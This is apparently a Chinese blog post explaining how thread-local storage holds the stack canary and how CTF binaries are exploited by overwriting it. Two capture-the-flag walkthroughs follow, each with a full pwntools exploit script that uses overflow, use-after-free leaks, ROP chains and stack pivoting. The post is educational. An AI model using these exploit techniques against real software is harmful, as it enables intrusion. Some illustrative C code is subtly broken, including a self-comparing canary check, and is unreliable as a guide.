TLScanary:Pwn中的利器

引言:什么是TLScanary?

  在二进制漏洞利用(Pwn)领域,攻击者面临着层层防护措施的挑战。在安全竞赛(如CTF)和实际漏洞利用中,TLS(线程本地存储)和堆栈保护(stack canary)是常见的防护技术。TLScanary应运而生,它结合了TLS协议与堆栈保护技术,专门用于处理这些受保护的二进制文件,从而增加了攻击的难度

  可以说,TLS和canary在保护机制中有着密不可分的关系。

介绍:TLS的基本概念

  TLS(线程本地存储)是一种在线程内存中存储特定数据的机制。每个线程都有自己独立的TLS区域,用于存储与该线程相关的数据。这种机制在多线程程序中尤为重要,因为它确保每个线程都有自己独立的存储空间,而不会干扰其他线程的数据。

  在堆栈保护方面,TLS常被用于存储堆栈canary值。堆栈canary是一种防止缓冲区溢出攻击的安全措施,它是一种在函数返回地址之前插入的特殊值。其作用类似于“哨兵”,如果缓冲区溢出覆盖了canary值,程序会在返回前检测到不一致,并立即终止执行,从而防止恶意代码的运行。

  对于多线程的canary来说,每个线程的canary都是独立存在的。当一个线程被创建时,操作系统会为该线程分配一个独立的TLS区域,这个区域通常通过某种线程控制块(TCB)来管理。每个线程都有一个独立的TCB,从而确保了每个线程的canary值的独立性和安全性。

多线程环境中的TLS和Canary

  在多线程环境中,每个线程的堆栈上都会有一个独立的canary值。操作系统或运行时库在为每个线程分配堆栈时,会在堆栈的适当位置插入一个canary值,以防止缓冲区溢出攻击

下面我们看一段代码,展示了如何在多线程环境中使用TLS和canary:

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>

// 生成随机canary值的函数
unsigned long generate_random_canary() {
   return (unsigned long)rand();
}

// 终止程序的函数
void terminate_program() {
   printf("Canary value has been modified. Terminating program.\n");
   exit(1);
}

// 线程函数
void* thread_function(void* arg) {
   // 每个线程有自己独立的TLS区域
   __thread int thread_local_variable = 0;
   
   // 在函数入口处插入canary值
   unsigned long canary_value = generate_random_canary();
   unsigned long expected_canary_value = canary_value;
   
   // 检查canary值是否被修改
   if (canary_value != expected_canary_value) {
       terminate_program();
  }
   
   // 线程的实际工作
   // ...
   
   return NULL;
}

int main() {
   const int NUM_THREADS = 5;
   pthread_t threads[NUM_THREADS];
   
   // 创建多个线程
   for (int i = 0; i < NUM_THREADS; i++) {
       pthread_create(&threads[i], NULL, thread_function, NULL);
  }
   
   // 等待所有线程完成
   for (int i = 0; i < NUM_THREADS; i++) {
       pthread_join(threads[i], NULL);
  }
   
   return 0;
}

  可以看到,每个线程都有自己的TLS区域和独立的canary值,从而确保了多线程程序的安全性。

  但是,多线程的canary通常也有被利用的时候,当程序创建线程的时候会创建TLS,TLS里面会存储有canary的值,而TLS会保存在stack高地址的地方那么就是说,如果我们可以通过溢出覆盖到TLS的位置那么就可以绕过canary,但是这个条件比较苛刻。

  • 溢出字节够大,通常至少一个page(4K)

  • 创建一个线程,在线程内栈溢出

所以一般来说还是比较安全的,但是不排除,有些疏忽的漏洞导致攻击者可以修改到stack_guard字段的内容,要了解stack_guard首先先看两个结构体。

struct pthread结构体解析

为了更好地理解TLS和canary的具体实现,我们需要了解struct pthread结构体。这个结构体包含了线程控制块(TCB)和其他相关信息。

#include <stddef.h> // 为了使用 size_t

/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct {
   // 定义线程控制块头部结构体
   // 可以根据实际情况进行定义
   // 例如:线程ID、状态信息等
   int thread_id;
   // 其他相关信息
} tcbhead_t;

/* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP
   /* This overlaps the TCB as used for TLS without threads (see tls.h). */
   tcbhead_t header; // 可能与TLS相关的头部信息
#else
   struct {
       // 更复杂的结构体定义
       // 可能包含与TLS相关的更多详细信息
       // ...
  } header;
#endif

   /* Extra padding for alignment and potential future use */
   void *__padding[24]; // 填充数组,用于对齐和可能的未来扩展
};

在这个结构体中,我们看到第一个字段是tcbhead_t,它包含了线程控制块(TCB)的相关信息。

tcbhead_t结构体解析

typedef struct {
   void *tcb;            /* 指向线程控制块(TCB)的指针 */
   dtv_t *dtv;           /* 线程特定数据的指针 */
   void *self;           /* 指向线程描述符的指针 */
   int multiple_threads; /* 标识是否有多个线程 */
   int gscope_flag;      /* 全局作用域标志 */
   uintptr_t sysinfo;    /* 系统信息 */
   uintptr_t stack_guard;/* 堆栈保护 */
   uintptr_t pointer_guard; /* 指针保护 */

   /* 其他可能的字段... */
} tcbhead_t;

在这个结构体中,stack_guard字段存放的就是单线程的canary值。攻击者通常可以通过覆盖这个值的内容来绕过canary保护。

如何利用TLScanary进行攻击

要利用TLScanary进行攻击,攻击者需要找到覆盖或篡改canary值的方法,从而绕过堆栈保护。具体步骤如下:

  1. 定位canary值:找到目标程序中存放canary值的内存位置。

  2. 构造溢出:利用缓冲区溢出或其他漏洞覆盖canary值。

  3. 篡改canary值:将canary值修改为正确的值,避免程序检测到不一致。

  4. 执行攻击代码:利用篡改后的内存执行恶意代码。

对于多线程和单线程的canary利用,各用一个具体的题目演示一下

多线程TLScanary

题目保护情况(除pie外剩下全部开启)

64位ida反汇编看看

可以看见有创建线程的函数,pthread_create和加入线程的函数,pthread_join。下面介绍一下这两个函数

线程函数介绍

在多线程编程中,POSIX线程(Pthreads)库提供了一组函数,用于创建和管理线程。本文将介绍两个关键函数:pthread_createpthread_join,以及它们在实际代码中的应用。

pthread_create 函数用于创建一个新线程,并指定线程的起始例程和参数。其原型如下:

int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine)(void *), void *arg);

参数说明:

  • pthread_t *thread:指向线程标识符的指针,用于存储创建的线程的ID。

  • const pthread_attr_t *attr:线程属性指针,可以用于设置线程属性。如果传入 NULL,则使用默认属性。

  • void *(*start_routine)(void *):指向线程起始例程的指针,即线程开始执行的函数。

  • void *arg:传递给起始例程的参数。

那么刚刚ida看见的代码意思就是

pthread_create 函数被调用以创建一个新线程,执行 start 函数

创建线程后,主线程调用 pthread_join,等待新线程结束。

如果 pthread_join 返回非零值,则表示发生错误,可以在 if 语句中处理,打印处异常。

那么接下来看看加入的线程,start函数

那么可以看见给了一个很长的长度够我们溢出,很符合第一个多线程TLS canary攻击的前提。

分析:

我们可以通过覆盖线程canary来绕过canary,但是创建线程程序只能运行一次,而且每个线程的canary是独立的,也就意味着我们只能一条ROP链达到泄露地址执行one_gadget

思路:

1.覆盖线程TLS,修改canary的内容

2.在泄露libc地址的同时把one_gadget读入bss段上

3.进行栈迁移执行one_gadget

EXP:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
libc = ELF('./libc6_2.27-3ubuntu1.5_amd64.so')
io =remote('pwn.challenge.ctf.show',28270)
elf =ELF('../pwn89')
puts_plt = elf.plt["puts"]
put_got = elf.got["puts"]
read_plt = elf.plt["read"]
leave = 0x400B71
pop_rdi_ret = 0x400be3
pop_rsi_r15_ret = 0x400be1
bss_addr = 0x602010
payload = b'a' * 0x1010 + p64(bss_addr - 0x8)+ p64(pop_rdi_ret) + p64(put_got) + p64(puts_plt)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(read_plt)
payload += p64(leave)
payload = payload.ljust(0x1900,b'a')
io.sendlineafter("send:\n",str(0x1900))
#sleep(1)
io.send(payload)
io.recvuntil("See you next time!\n")
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('puts_addr------>'+hex(puts_addr))
one_gadget = puts_addr - libc.sym['puts'] + 0x10a2fc
io.sendline(p64(one_gadget))
io.interactive()

单线程TLScanary

题目保护情况(保护全开)

64位ida反汇编

初看是堆的菜单,我们到具体函数分析一下

add函数,申请堆块的大小有限制,会创建另一个堆块存储我们堆块的指针

delete函数,存在明显的UAF漏洞

show函数,可以分别打印我们创建的堆块已经程序创建堆块的内容(后者只能用一次)

edit函数,存在一个很严重的漏洞,可以任意地址写,但是由于unsigned_int8类型指针的限制我们只能改一个字节

除此之外,read函数还有溢出,但是溢出长度不够

程序开了沙箱,不能直接获取shell,只能orw获取flag

分析:

存在UAF漏洞和打印函数,可以泄露heap地址和libc地址,可以通过任意地址写覆盖TLScanary,通过栈迁移,执行ORW

思路:

1.通过UAF漏洞,和show功能,分别泄露heap地址,和libc地址

2.通过任意地址写,覆盖 stack_guard,进而绕过canary

3.通过栈迁移,把程序流劫持到heap上使用orw获取flag

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

libc =ELF('./libc-2.31.so')
#io = process('./binding')
io = remote('node5.buuoj.cn',26892)
def add(index,size,content):
   io.sendlineafter('choice:','1')
   io.sendlineafter('Idx:',str(index))
   io.sendlineafter('Size:',str(size))
   io.sendafter('Content:',content)



def edit(index,content1,content2):
   io.sendlineafter('choice:','2')
   io.sendafter('Idx:',index)
   io.sendafter('context1: ',content1)
   io.sendafter('context2: ',content2)


def show(rw,index):
   io.sendlineafter('choice:','3')
   io.sendlineafter('choice:',rw)
   io.sendlineafter('Idx:',str(index))



def free(index):
   io.sendlineafter('choice:','4')
   io.sendlineafter('Idx:',str(index))




#gdb.attach(io)
for i in range(6):
   add(i,0x100,'a')

for i in range(1,5):
   free(i)

#gdb.attach(io)
show('0',2)
io.recvuntil(': ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x5d0
success('heap_base----->'+hex(heap_base))

#gdb.attach(io)
show('1',4)
io.recvuntil(': ')
libc_base = u64(io.recv(6).ljust(8,b'\x00'))  - 96 - 0x10 -libc.sym['__malloc_hook']
success('libc_base----->'+hex(libc_base))
TLS = libc_base + 0x1f3568
success('TLS----->'+hex(TLS))
pause()

pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret

#gdb.attach(io)
orw_payload = p64(pop_rdi) + p64(heap_base + 0x1010)+p64(pop_rsi) + p64(0)+p64(pop_rdx)+p64(0) +p64(libc.sym['open']+libc_base)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x200)
orw_payload += p64(pop_rdx) + p64(0x30) + p64(libc.sym['read']+libc_base)
orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx) + p64(0x30)
orw_payload += p64(libc.sym['write']+libc_base)

orw_payload = orw_payload.ljust(0xb0,b'a')
orw_payload += b'./flag\x00\x00'

add(6,0x120,orw_payload)

payload = b'0'.ljust(0x28, b'\x00') + p64(0) + p64(heap_base+0xf58) + p64(leave_ret)
edit(payload,p64(TLS),b'\x00'*8)


io.interactive()

结语:

TLScanary结合了TLS和堆栈canary的技术,显著增加了二进制漏洞利用的难度。理解TLS和canary的工作原理,对于编写更安全的程序和防范攻击至关重要。无论是单线程的canary还是多线程的canary,都需要我们去重视

总之,TLS 和 canary 不仅仅是安全技术的一部分,更是构建信任和保护用户隐私的基石。

TLScanary:Pwn中的利器的更多相关文章

  1. eclipse中三大利器

    eclipse中两大利器: 首先说下用eclipse开发工具.进行java代码,开发的时候,我们开发完成以后.需要测试.大部分我们用Junit测试工具.可是内部的代码覆盖率.和结构我们看的不是那么详细 ...

  2. Win Server 8中的利器:微软在线备份服务

    微软在Windows Server 8中添加在线备份服务了?你一定以为我在开玩笑,是吧?但是微软确实这么做了.     微软在Windows Server 8中添加在线备份服务了?你一定以为我在开玩笑 ...

  3. Linux pwn入门教程(6)——格式化字符串漏洞

    作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...

  4. Linux pwn入门教程——格式化字符串漏洞

    本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...

  5. PWN入门

    pwn ”Pwn”是一个黑客语法的俚语词 ,是指攻破设备或者系统 .发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵.以上是从百度百科上面抄的简介, ...

  6. 【ButterKnife】 安卓程序猿的一大利器

    注:近期才看到的这个类库,来自于jakewharton大神的力作,安卓里面的视图注入库 另小弟水平有限,翻译的不好,还请多多指正 首先是地址(托管在github上):http://jakewharto ...

  7. CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  8. pwn学习日记Day16 pwn原理理解

    CTF-Pwn入门及栈溢出原理解释 CTF pwn 中最通俗易懂的堆入坑指南 看雪论坛

  9. Pwn学习随笔

    Pwn题做题流程 使用checksec检查ELF文件保护开启的状态 IDApro逆向分析程序漏洞(逻辑复杂的可以使用动态调试) 编写python的exp脚本进行攻击 (若攻击不成功)进行GDB动态调试 ...

  10. 从SQL的视角用powershell

    SQL是数据处理中的利器,语法简单,表现力强.同时SQL作为说明型语言,让使用者关注在数据处理上.Powershell是微软提供的一个命令行工具.虽然在powershell中无法直接编写SQL,但是提 ...

随机推荐

  1. 智能工作流:Spring AI高效批量化提示访问方案

    基于SpringAI搭建系统,依靠线程池\负载均衡等技术进行请求优化,用于解决科研&开发过程中对GPT接口进行批量化接口请求中出现的问题. github地址:https://github.co ...

  2. .NET 采用开源软件OpenOffice 实现文档转码服务(word ppt excel)转PDF

    前言 前几年做了个项目,里面有个需求,需要在浏览器中在线浏览word excel ppt  pdf等文档. 最近又开始研究并记录下来 当时方案: 因为浏览器中阅读文档暂时只能通过pdf方式读取,所以就 ...

  3. Gitea 代码仓库平台

    引言 Gitea 是一个自己托管的 Git 服务程序.他和 GitHub,Bitbucket or Gitlab 等比较类似.它是从 Gogs 发展而来,不过它已经 Fork 并且命名为 Gitea. ...

  4. PHP 中使用 ElasticSearch 的最佳实践 (下)

    引言 上一篇文章,我们使用同步的方式将数据,同步写入到 ElasticSearch 中.接下来的这篇文章,主要介绍使用 RabbitMQ 的方式,异步的将数据同步到 ElasticSearch . 部 ...

  5. Android OpenMAX(五)高通OMX Core实现

    上一节了解了OMX Core提供的内容,这一节我们看看高通OMX Core是如何实现的.本节代码参考自: omx_core_cmp.cpp registry_table_android.c qc_om ...

  6. kubernetes自动扩缩容[HPA控制器 horizontal pod autoscaler]

    kubernetes自动扩缩容[HPA控制器 horizontal pod autoscaler] #查看当前hpa控制器版本: [root@k8s-master01 ~]# kubectl get ...

  7. 霍夫变换原理及实现(Opencv C++)

    已知一幅图像中的n个点,假设我们希望找到这些点中位于直线上的子集.一种可能的解决方法是,首先找到由每对点确定的所有直线,然后寻找靠近特定直线的那些点的所有子集.这种方法涉及寻找n(n-1)/2~n2条 ...

  8. 算法学习笔记(39): 2-SAT

    SAT 问题,也就是可满足性问题 Boolean Satisfiability Problem,是第一个被证明的 NPC 问题. 但是特殊的 2-SAT 我们可以通过图论的知识在线性复杂度内求解,构造 ...

  9. C# .NET 国密 SM2 签名 默认USER ID

    C# .NET 国密 SM2 签名 默认USER ID: 1234567812345678 string userId = "1234567812345678"; byte[] b ...

  10. UDP端口探活的那些细节

    一 背景 商业客户反馈用categraf的net_response插件配置了udp探测, 遇到报错了,如图  udp是无连接的,无法用建立连接的形式判断端口. 插件最初的设计是需要配置udp的发送字符 ...